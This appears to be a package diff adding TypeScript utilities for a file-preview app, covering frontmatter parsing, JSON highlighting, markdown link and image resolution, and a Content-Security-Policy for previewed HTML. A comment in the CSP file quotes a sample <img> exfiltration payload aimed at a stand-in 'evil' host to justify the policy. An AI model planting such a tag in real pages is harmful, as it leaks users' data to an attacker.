mulmoclaude 0.1.0

package/src/utils/format/frontmatter.ts

@@ -0,0 +1,80 @@
+// Minimal YAML-frontmatter extractor for Markdown files. Only covers
+// the shapes we actually display in the Files-mode preview:
+//
+//   ---
+//   title: さくらインターネット
+//   created: 2026-04-06
+//   tags: [クラウド, インフラ, 日本企業]
+//   ---
+//
+// Values are returned either as a string or, for inline arrays
+// (`[a, b, c]`), as a string[]. Anything more exotic (block lists,
+// nested maps, multi-line strings) is treated as an opaque string so
+// the user still sees the raw value.
+
+export type FrontmatterValue = string | string[];
+
+export interface FrontmatterField {
+  key: string;
+  value: FrontmatterValue;
+}
+
+export interface Frontmatter {
+  fields: FrontmatterField[];
+  body: string;
+}
+
+const FRONTMATTER_DELIM = /^---\r?\n/;
+const FRONTMATTER_CLOSE = /\r?\n---\s*(\r?\n|$)/;
+
+export function extractFrontmatter(raw: string): Frontmatter {
+  if (!FRONTMATTER_DELIM.test(raw)) {
+    return { fields: [], body: raw };
+  }
+  const afterOpen = raw.replace(FRONTMATTER_DELIM, "");
+  const closeMatch = FRONTMATTER_CLOSE.exec(afterOpen);
+  if (!closeMatch || closeMatch.index === undefined) {
+    return { fields: [], body: raw };
+  }
+  const fmText = afterOpen.slice(0, closeMatch.index);
+  const body = afterOpen.slice(closeMatch.index + closeMatch[0].length);
+  return { fields: parseFields(fmText), body };
+}
+
+function parseFields(fmText: string): FrontmatterField[] {
+  const fields: FrontmatterField[] = [];
+  for (const line of fmText.split(/\r?\n/)) {
+    const field = parseLine(line);
+    if (field) fields.push(field);
+  }
+  return fields;
+}
+
+function parseLine(line: string): FrontmatterField | null {
+  if (!line.trim() || line.trimStart().startsWith("#")) return null;
+  const colonIdx = line.indexOf(":");
+  if (colonIdx <= 0) return null;
+  const key = line.slice(0, colonIdx).trim();
+  const rawValue = line.slice(colonIdx + 1).trim();
+  if (!key) return null;
+  return { key, value: parseValue(rawValue) };
+}
+
+function parseValue(raw: string): FrontmatterValue {
+  if (!raw) return "";
+  const arrayMatch = /^\[(.*)\]$/.exec(raw);
+  if (arrayMatch) {
+    return arrayMatch[1]
+      .split(",")
+      .map((s) => unquote(s.trim()))
+      .filter((s) => s.length > 0);
+  }
+  return unquote(raw);
+}
+
+function unquote(s: string): string {
+  if ((s.startsWith('"') && s.endsWith('"')) || (s.startsWith("'") && s.endsWith("'"))) {
+    return s.slice(1, -1);
+  }
+  return s;
+}

package/src/utils/format/jsonSyntax.ts

@@ -0,0 +1,109 @@
+// Tiny regex-based JSON tokenizer used by the Files-mode preview for
+// syntax coloring. Keeps itself dependency-free so it can be reused
+// and unit-tested without pulling in Vue or Tailwind.
+
+export type JsonTokenType = "key" | "string" | "number" | "keyword" | "punct" | "whitespace";
+
+export interface JsonToken {
+  type: JsonTokenType;
+  value: string;
+}
+
+// Tailwind class for each token type. Kept alongside the tokenizer so
+// callers that want colored output can just import and use it directly.
+export const JSON_TOKEN_CLASS: Record<JsonTokenType, string> = {
+  key: "text-blue-700",
+  string: "text-green-700",
+  number: "text-orange-600",
+  keyword: "text-purple-700",
+  punct: "text-gray-500",
+  whitespace: "",
+};
+
+// Individually simple patterns combined by `nextToken` below. Keeping
+// them separate avoids a single combined regex that trips
+// sonarjs/regex-complexity and is easier to reason about.
+const STRING_RE = /^"(?:[^"\\]|\\.)*"/;
+const KEYWORD_RE = /^(?:true|false|null)\b/;
+const NUMBER_RE = /^-?\d+(?:\.\d+)?(?:[eE][+-]?\d+)?/;
+const WS_RE = /^\s+/;
+const PUNCT_RE = /^[{}[\]:,]/;
+
+const MATCHERS: { type: JsonTokenType; pattern: RegExp }[] = [
+  { type: "string", pattern: STRING_RE },
+  { type: "keyword", pattern: KEYWORD_RE },
+  { type: "number", pattern: NUMBER_RE },
+  { type: "whitespace", pattern: WS_RE },
+  { type: "punct", pattern: PUNCT_RE },
+];
+
+function nextToken(slice: string): JsonToken | null {
+  for (const { type, pattern } of MATCHERS) {
+    const match = pattern.exec(slice);
+    if (match) return { type, value: match[0] };
+  }
+  return null;
+}
+
+export function tokenizeJson(raw: string): JsonToken[] {
+  const tokens: JsonToken[] = [];
+  let pos = 0;
+  while (pos < raw.length) {
+    const token = nextToken(raw.slice(pos));
+    if (!token) {
+      // Unknown char (syntax error / stray bytes). Emit verbatim so
+      // the user still sees it, then advance one character.
+      tokens.push({ type: "punct", value: raw[pos] });
+      pos++;
+      continue;
+    }
+    tokens.push(token);
+    pos += token.value.length;
+  }
+  markKeys(tokens);
+  return tokens;
+}
+
+// A string that precedes ":" (skipping whitespace) is an object key.
+function markKeys(tokens: JsonToken[]): void {
+  for (let i = 0; i < tokens.length; i++) {
+    if (tokens[i].type !== "string") continue;
+    let j = i + 1;
+    while (j < tokens.length && tokens[j].type === "whitespace") j++;
+    if (j < tokens.length && tokens[j].type === "punct" && tokens[j].value === ":") {
+      tokens[i] = { type: "key", value: tokens[i].value };
+    }
+  }
+}
+
+// Pretty-print JSON with 2-space indentation, falling back to the raw
+// source on parse error so the user can still read malformed files.
+export function prettyJson(raw: string): string {
+  try {
+    return JSON.stringify(JSON.parse(raw), null, 2);
+  } catch {
+    return raw;
+  }
+}
+
+export interface JsonlLine {
+  tokens: JsonToken[];
+  parseError: boolean;
+}
+
+// Tokenize a JSON Lines document: one JSON value per non-empty line.
+// Each parseable line is pretty-printed before tokenization so the
+// output shows a readable multi-line record per entry. Malformed
+// lines are tokenized as-is with `parseError: true` so the caller
+// can mark them visually.
+export function tokenizeJsonl(raw: string): JsonlLine[] {
+  const lines = raw.split(/\r?\n/).filter((line) => line.trim().length > 0);
+  return lines.map((line) => {
+    try {
+      const pretty = JSON.stringify(JSON.parse(line), null, 2);
+      return { tokens: tokenizeJson(pretty), parseError: false };
+    } catch {
+      return { tokens: tokenizeJson(line), parseError: true };
+    }
+  });
+}

package/src/utils/html/previewCsp.ts

@@ -0,0 +1,65 @@
+// CSP whitelist applied to HTML files previewed in the Files
+// explorer iframe. We ship a narrow list of trusted CDNs that the
+// LLM commonly pulls from (Chart.js, D3, Tailwind, etc. via
+// jsdelivr / unpkg / cdnjs) plus Google Fonts. Anything else —
+// random `https://` origins, phone-home `fetch()` calls, etc. —
+// is rejected.
+//
+// Widen by editing `HTML_PREVIEW_CSP_ALLOWED_CDNS` below. Keep the
+// list audited — every entry is a potential supply-chain surface.
+
+export const HTML_PREVIEW_CSP_ALLOWED_CDNS: readonly string[] = [
+  "https://cdn.jsdelivr.net",
+  "https://unpkg.com",
+  "https://cdnjs.cloudflare.com",
+  "https://fonts.googleapis.com",
+  "https://fonts.gstatic.com",
+];
+
+/**
+ * Build the CSP string. Split from the wrapper so tests can exercise
+ * the policy without HTML-template noise.
+ */
+export function buildHtmlPreviewCsp(cdns: readonly string[] = HTML_PREVIEW_CSP_ALLOWED_CDNS): string {
+  const cdnList = cdns.join(" ");
+  return [
+    "default-src 'none'",
+    // LLM-authored HTML almost always uses inline <script> blocks
+    // alongside the CDN load. No feasible path to avoid
+    // 'unsafe-inline' without rewriting every output.
+    `script-src 'unsafe-inline' ${cdnList}`,
+    `style-src 'unsafe-inline' ${cdnList}`,
+    `font-src ${cdnList}`,
+    // Images: same-origin (workspace files via /api/files/raw), CDN
+    // whitelist, plus data: and blob: for inline PNGs and dynamically-
+    // generated charts. Wildcard is deliberately avoided — an attacker
+    // who plants an <img src="https://evil/?leak="> in preview HTML
+    // could exfiltrate data via image requests even with connect-src
+    // blocked. Widen via HTML_PREVIEW_CSP_ALLOWED_CDNS if LLM output
+    // legitimately needs more hosts.
+    `img-src 'self' ${cdnList} data: blob:`,
+    // Block XHR / fetch / WebSocket so previews can't phone home or
+    // exfiltrate anything the inline scripts happen to compute.
+    "connect-src 'none'",
+  ].join("; ");
+}
+
+const CSP_META_NONCE = ""; // reserved for future use (per-render nonce)
+
+/**
+ * Inject a `<meta http-equiv="Content-Security-Policy">` tag into the
+ * HTML head. If the HTML has no `<head>`, wrap it as a full document
+ * with a synthetic head so the meta tag is honoured regardless.
+ *
+ * Pure — doesn't touch the DOM. Safe to use from both client and
+ * tests.
+ */
+export function wrapHtmlWithPreviewCsp(html: string): string {
+  const csp = buildHtmlPreviewCsp();
+  const meta = `<meta http-equiv="Content-Security-Policy" content="${csp}">`;
+  if (/<head\b[^>]*>/i.test(html)) {
+    return html.replace(/(<head\b[^>]*>)/i, `$1${meta}`);
+  }
+  // No <head> — treat as fragment and wrap it.
+  return `<!DOCTYPE html><html><head>${meta}</head><body>${html}</body></html>${CSP_META_NONCE}`;
+}

package/src/utils/image/resolve.ts

@@ -0,0 +1,8 @@
+import { API_ROUTES } from "../../config/apiRoutes";
+
+/** Convert an imageData value to a displayable URL.
+ *  Handles both legacy data URIs and workspace-relative file paths. */
+export function resolveImageSrc(imageData: string): string {
+  if (imageData.startsWith("data:")) return imageData;
+  return `${API_ROUTES.files.raw}?path=${encodeURIComponent(imageData)}`;
+}

package/src/utils/image/rewriteMarkdownImageRefs.ts

@@ -0,0 +1,182 @@
+import { marked } from "marked";
+import type { Token, Tokens } from "marked";
+import { resolveImageSrc } from "./resolve";
+
+// Pre-`marked` pass that rewrites workspace-relative image references
+// in markdown source so they render through the backend file server.
+//
+// Without this, a page like `![chart](../images/foo.png)` produces
+// `<img src="../images/foo.png">`, which the browser resolves against
+// the SPA page URL (e.g. `/chat/…foo.png`) and 404s. After this
+// pass, the src becomes `/api/files/raw?path=images/foo.png` which
+// the workspace file server serves.
+//
+// Uses marked's tokenizer to find image refs rather than a raw regex
+// over the source. The regex approach had two problems:
+//   - URLs containing `)` (e.g. `Foo_(bar).png`) were truncated at
+//     the first close paren.
+//   - `![x](y)` inside fenced code blocks or inline code spans was
+//     rewritten even though it's not meant to render as an image.
+// The lexer handles both correctly.
+//
+// Callers that know the markdown file's directory (`basePath`) get
+// correct resolution for `./` and `../` relative refs. Callers that
+// omit `basePath` only resolve refs that are already workspace-rooted
+// (no leading `./` or `../`); relative-with-traversal refs without
+// context would be ambiguous, so they pass through untouched rather
+// than silently pointing at the wrong file.
+//
+// Used by:
+//
+//   - `src/plugins/wiki/View.vue`
+//   - `src/components/FilesView.vue` (when previewing a .md file)
+//   - `src/plugins/markdown/View.vue` (via post-`marked` HTML rewriter)
+
+function shouldSkip(url: string): boolean {
+  if (url.startsWith("data:")) return true;
+  if (url.startsWith("http://") || url.startsWith("https://")) return true;
+  // Already an API route — nothing to do.
+  if (url.startsWith("/api/")) return true;
+  return false;
+}
+
+/**
+ * Resolve `url` relative to `basePath` using posix segment arithmetic.
+ * Returns the resolved workspace-relative path, or `null` if the URL
+ * escapes the workspace root (more `..` than `basePath` depth).
+ *
+ * Pure string operation — does not touch the filesystem or use Node's
+ * `path` module (this file runs in the browser).
+ */
+function resolveWorkspacePath(basePath: string, url: string): string | null {
+  // Absolute-within-workspace (e.g. "/images/foo.png") — reset base.
+  const isAbsolute = url.startsWith("/");
+  const baseSegs = isAbsolute ? [] : basePath.split("/").filter((s) => s !== "" && s !== ".");
+  const segs = [...baseSegs];
+
+  const urlSegs = (isAbsolute ? url.slice(1) : url).split("/");
+  for (const seg of urlSegs) {
+    if (seg === "" || seg === ".") continue;
+    if (seg === "..") {
+      if (segs.length === 0) return null;
+      segs.pop();
+      continue;
+    }
+    segs.push(seg);
+  }
+  if (segs.length === 0) return null;
+  return segs.join("/");
+}
+
+// Extract the alt-text span `[...]` from an image ref `![alt](url...)`.
+// CommonMark allows balanced nested brackets inside alt (`![x [y]](z)`),
+// which a greedy regex would get wrong — scan with a depth counter and
+// return the slice between the outermost brackets.
+function extractBracketedAlt(raw: string): string | null {
+  if (!raw.startsWith("![")) return null;
+  let depth = 1;
+  for (let i = 2; i < raw.length; i++) {
+    const c = raw[i];
+    if (c === "[") depth++;
+    else if (c === "]") {
+      depth--;
+      if (depth === 0) return raw.slice(2, i);
+    }
+  }
+  return null;
+}
+
+function rewriteImageToken(token: Tokens.Image, basePath: string): string | null {
+  const href = (token.href ?? "").trim();
+  if (href === "" || shouldSkip(href)) return null;
+  const resolved = resolveWorkspacePath(basePath, href);
+  if (resolved === null) return null;
+  const newHref = resolveImageSrc(resolved);
+  // Preserve alt text verbatim — read from the raw so any special
+  // characters (brackets, entities) survive unmodified.
+  const alt = extractBracketedAlt(token.raw) ?? token.text ?? "";
+  if (token.title) {
+    const escapedTitle = token.title.replace(/"/g, '\\"');
+    return `![${alt}](${newHref} "${escapedTitle}")`;
+  }
+  return `![${alt}](${newHref})`;
+}
+
+function isSkippable(token: Token): boolean {
+  return token.type === "code" || token.type === "codespan" || token.type === "html";
+}
+
+function getContainerChildren(token: Token): Token[] | null {
+  const container = token as { tokens?: Token[]; items?: Token[] };
+  if (Array.isArray(container.tokens) && container.tokens.length > 0) {
+    return container.tokens;
+  }
+  if (Array.isArray(container.items) && container.items.length > 0) {
+    return container.items;
+  }
+  return null;
+}
+
+// Render a container's children back into the output, preserving any
+// structural glue the parent carries outside the children's combined
+// raw span (list markers, blockquote prefixes, trailing newlines).
+// Returns true if the container was rendered via its children, false
+// if the caller should fall back to emitting the parent's raw.
+function renderContainerChildren(raw: string, children: Token[], basePath: string, out: string[]): boolean {
+  const joined = children.map((c) => (c as { raw?: string }).raw ?? "").join("");
+  if (joined === "") return false;
+  const idx = raw.indexOf(joined);
+  if (idx < 0) return false;
+  if (idx > 0) out.push(raw.slice(0, idx));
+  for (const child of children) renderToken(child, basePath, out);
+  const tail = raw.slice(idx + joined.length);
+  if (tail) out.push(tail);
+  return true;
+}
+
+// Recursively render a token back to markdown, rewriting image refs
+// in-place. Code / codespan / html tokens are emitted verbatim so
+// image-ref syntax inside them stays literal. Token-tree recursion
+// uses the lexer's structural knowledge and never crosses a skip
+// boundary — unlike the earlier `indexOf` splice which could rewrite
+// a code-block literal when the same ref appeared in real markdown.
+function renderToken(token: Token, basePath: string, out: string[]): void {
+  if (isSkippable(token)) {
+    out.push(token.raw);
+    return;
+  }
+  if (token.type === "image") {
+    const replacement = rewriteImageToken(token as Tokens.Image, basePath);
+    out.push(replacement ?? token.raw);
+    return;
+  }
+  const raw = (token as { raw?: string }).raw ?? "";
+  const children = getContainerChildren(token);
+  if (children && renderContainerChildren(raw, children, basePath, out)) {
+    return;
+  }
+  out.push(raw);
+}
+
+/**
+ * Rewrite `![alt](path)` image refs in markdown text so workspace-
+ * relative paths render through `/api/files/raw`.
+ *
+ * @param markdown Markdown source text.
+ * @param basePath The workspace-relative directory of the markdown
+ *   file (e.g. `"wiki/pages"` for `wiki/pages/foo.md`). Omit or pass
+ *   `""` when resolving refs against the workspace root.
+ *
+ * Absolute URLs, data URIs, and existing API paths pass through
+ * untouched. Refs that would escape the workspace root (more `..`
+ * than `basePath` depth) also pass through untouched — they would
+ * 404 regardless, and passing through lets the user see the broken
+ * ref instead of silently re-pointing it. Image-ref syntax inside
+ * code blocks / inline code spans is left alone.
+ */
+export function rewriteMarkdownImageRefs(markdown: string, basePath: string = ""): string {
+  const tokens = marked.lexer(markdown);
+  const parts: string[] = [];
+  for (const token of tokens) renderToken(token, basePath, parts);
+  return parts.join("");
+}

package/src/utils/markdown/extractFirstH1.ts

@@ -0,0 +1,39 @@
+// Extract the first ATX-style H1 heading (`# title`) from a
+// markdown string. Used by both:
+//   - server/journal/index.ts (topic row labels)
+//   - src/plugins/markdown/Preview.vue (document title)
+//
+// Implemented as a line walker rather than a regex so it avoids
+// the backtracking risk that trips `sonarjs/slow-regex`. The
+// accepted heading grammar matches the plugin's old regex
+// `/^#\s+(.+)$/m`: `#`, at least one inline whitespace char, then
+// non-empty content.
+
+/**
+ * Return the trimmed text of the first H1 line, or null if none
+ * exists. An H1 is a line that starts with `#` followed by at
+ * least one whitespace char (space or tab) and at least one
+ * non-whitespace content char. `##` and deeper headings are
+ * skipped. Lines are separated by `\n`, `\r`, or `\r\n` —
+ * mirroring the old regex's `m`-flag `$` anchor which stops at
+ * either CR or LF.
+ */
+export function extractFirstH1(markdown: string): string | null {
+  for (const line of splitLines(markdown)) {
+    if (line.length < 2 || line[0] !== "#") continue;
+    // Second char must be inline whitespace, not another `#`.
+    // That's what excludes `## H2` / `### H3` / etc.
+    if (!isInlineSpace(line.charCodeAt(1))) continue;
+    const text = line.slice(2).trim();
+    if (text.length > 0) return text;
+  }
+  return null;
+}
+
+function splitLines(s: string): string[] {
+  return s.split(/\r\n|\r|\n/);
+}
+
+function isInlineSpace(code: number): boolean {
+  return code === 0x20 || code === 0x09; // space or tab
+}

package/src/utils/notification/dispatch.ts

@@ -0,0 +1,22 @@
+// Pure mapping from NotificationAction → target view/session to navigate to.
+
+import { NOTIFICATION_ACTION_TYPES, NOTIFICATION_VIEWS, type NotificationAction } from "../../types/notification";
+
+// Views that map directly to a canvas view mode (excludes "chat"
+// which is handled as a session navigation).
+type CanvasNotificationView = "todos" | "scheduler" | "files";
+
+export type NotificationTarget = { kind: "session"; sessionId: string } | { kind: "view"; view: CanvasNotificationView } | null;
+
+/** Determine what the user should see after clicking a notification.
+ *  Pure — the caller performs the actual navigation. */
+export function resolveNotificationTarget(action: NotificationAction): NotificationTarget {
+  if (action.type !== NOTIFICATION_ACTION_TYPES.navigate) return null;
+  if (action.view === NOTIFICATION_VIEWS.chat && action.sessionId) {
+    return { kind: "session", sessionId: action.sessionId };
+  }
+  if (action.view === NOTIFICATION_VIEWS.todos || action.view === NOTIFICATION_VIEWS.scheduler || action.view === NOTIFICATION_VIEWS.files) {
+    return { kind: "view", view: action.view };
+  }
+  return null;
+}

package/src/utils/path/relativeLink.ts

@@ -0,0 +1,130 @@
+// Pure helpers used by FilesView to decide how to handle a click on
+// an <a> inside rendered markdown. Kept free of DOM types so it can
+// be exhaustively unit-tested.
+//
+// The two shipped functions are:
+//
+//   - isExternalHref(href): should this click escape to the browser?
+//   - resolveWorkspaceLink(currentFile, href): resolve a markdown
+//     href to a workspace-relative path the file viewer can open.
+
+// --- External URL detection ---------------------------------------
+
+// Return true when `href` points at something that isn't inside the
+// workspace (http/https/mailto/tel/custom schemes, protocol-relative
+// URLs). The file viewer uses this to decide whether to let the
+// default browser behaviour take over.
+export function isExternalHref(href: string): boolean {
+  if (!href) return true;
+  // Protocol-relative (//example.com/foo) → external.
+  if (href.startsWith("//")) return true;
+  // Fast-path for the common schemes.
+  if (href.startsWith("http://") || href.startsWith("https://") || href.startsWith("mailto:") || href.startsWith("tel:") || href.startsWith("ftp://")) {
+    return true;
+  }
+  // Generic scheme detection: any "scheme:" prefix where the colon
+  // comes before the first slash is an external URL. Avoid a regex
+  // so we don't trip sonarjs/slow-regex.
+  const colonIdx = href.indexOf(":");
+  if (colonIdx > 0) {
+    const slashIdx = href.indexOf("/");
+    if (slashIdx === -1 || slashIdx > colonIdx) return true;
+  }
+  return false;
+}
+
+// --- Workspace link resolution ------------------------------------
+
+// Given the workspace-relative path of the file currently being
+// viewed (`currentFilePath`, e.g. "summaries/topics/refactoring.md")
+// and the raw href of a clicked link, return the resolved workspace-
+// relative path of the target file, or null if the link:
+//
+//   - is external (handled by the browser instead)
+//   - is an anchor-only link (scroll, let the browser handle it)
+//   - would escape the workspace root via "../"
+//   - is empty or a pure query/fragment
+//
+// `#fragment` / `?query` suffixes are stripped — the file viewer
+// only navigates by path.
+export function resolveWorkspaceLink(currentFilePath: string, href: string): string | null {
+  if (!href) return null;
+  if (isExternalHref(href)) return null;
+  if (href.startsWith("#")) return null;
+
+  // Strip #fragment and ?query BEFORE joining so a pure-query href
+  // like "?foo=1" isn't smuggled into the current directory and
+  // resolved to the parent.
+  const cleaned = stripFragmentAndQuery(href);
+  if (cleaned.length === 0) return null;
+
+  // Workspace-absolute (starts with a single "/"): strip the slash
+  // and treat the rest as workspace-relative.
+  let joined: string;
+  if (cleaned.startsWith("/")) {
+    joined = cleaned.slice(1);
+  } else {
+    const currentDir = posixDirname(currentFilePath);
+    joined = currentDir === "" ? cleaned : `${currentDir}/${cleaned}`;
+  }
+
+  return normalizeWorkspacePath(joined);
+}
+
+// Drop any trailing #fragment or ?query from a path-like string.
+// Whichever marker comes first wins.
+function stripFragmentAndQuery(s: string): string {
+  const hashIdx = s.indexOf("#");
+  const queryIdx = s.indexOf("?");
+  let end = s.length;
+  if (hashIdx !== -1 && hashIdx < end) end = hashIdx;
+  if (queryIdx !== -1 && queryIdx < end) end = queryIdx;
+  return s.slice(0, end);
+}
+
+// If `resolvedPath` points at a chat session log (e.g.
+// `chat/abc-123.jsonl`), return the session id. Used by the file
+// viewer to recognise when a clicked markdown link should switch
+// the active chat instead of opening the raw jsonl as a file.
+//
+// Nested paths under `chat/` (e.g. `chat/subdir/foo.jsonl`) return
+// null — session ids cannot contain slashes, and we don't want to
+// mis-identify unrelated files.
+export function extractSessionIdFromPath(resolvedPath: string): string | null {
+  const CHAT_PREFIX = "chat/";
+  const JSONL_SUFFIX = ".jsonl";
+  if (!resolvedPath.startsWith(CHAT_PREFIX)) return null;
+  if (!resolvedPath.endsWith(JSONL_SUFFIX)) return null;
+  const id = resolvedPath.slice(CHAT_PREFIX.length, resolvedPath.length - JSONL_SUFFIX.length);
+  if (id.length === 0) return null;
+  if (id.includes("/")) return null;
+  return id;
+}
+
+// POSIX-style dirname. The file viewer always uses "/" separators
+// so we don't need to worry about Windows paths.
+function posixDirname(p: string): string {
+  const i = p.lastIndexOf("/");
+  return i === -1 ? "" : p.slice(0, i);
+}
+
+// Collapse "./" and "../" in a workspace path. Rejects paths that
+// escape above the workspace root. Returns null for the empty-path
+// case so the caller can bail out. Callers are expected to strip
+// #fragment / ?query before invoking this function.
+function normalizeWorkspacePath(p: string): string | null {
+  if (p.length === 0) return null;
+  const parts = p.split("/");
+  const stack: string[] = [];
+  for (const part of parts) {
+    if (part === "" || part === ".") continue;
+    if (part === "..") {
+      if (stack.length === 0) return null; // escape attempt
+      stack.pop();
+      continue;
+    }
+    stack.push(part);
+  }
+  if (stack.length === 0) return null;
+  return stack.join("/");
+}

package/src/utils/role/icon.ts

@@ -0,0 +1,20 @@
+// Pure helpers that look up role metadata from a list of roles.
+// Taking the role list as a parameter (instead of reading a Vue ref)
+// keeps these dependency-free and unit-testable.
+
+import type { Role } from "../../config/roles";
+
+// Material Icon names use lowercase letters and underscores only.
+// Custom roles may have stored an emoji or other freeform value in
+// the icon field; fall back to a generic icon in that case so we
+// don't render the literal text inside a Material Icons span.
+const MATERIAL_ICON_RE = /^[a-z_]+$/;
+
+export function roleIcon(roles: Role[], roleId: string): string {
+  const icon = roles.find((r) => r.id === roleId)?.icon ?? "star";
+  return MATERIAL_ICON_RE.test(icon) ? icon : "smart_toy";
+}
+
+export function roleName(roles: Role[], roleId: string): string {
+  return roles.find((r) => r.id === roleId)?.name ?? roleId;
+}

package/src/utils/role/merge.ts

@@ -0,0 +1,10 @@
+// Pure helper for merging custom (server-loaded) roles into the
+// built-in role list. Custom roles override built-ins with the
+// same id, then any additional custom roles are appended.
+
+import type { Role } from "../../config/roles";
+
+export function mergeRoles(builtin: Role[], custom: Role[]): Role[] {
+  const customIds = new Set(custom.map((r) => r.id));
+  return [...builtin.filter((r) => !customIds.has(r.id)), ...custom];
+}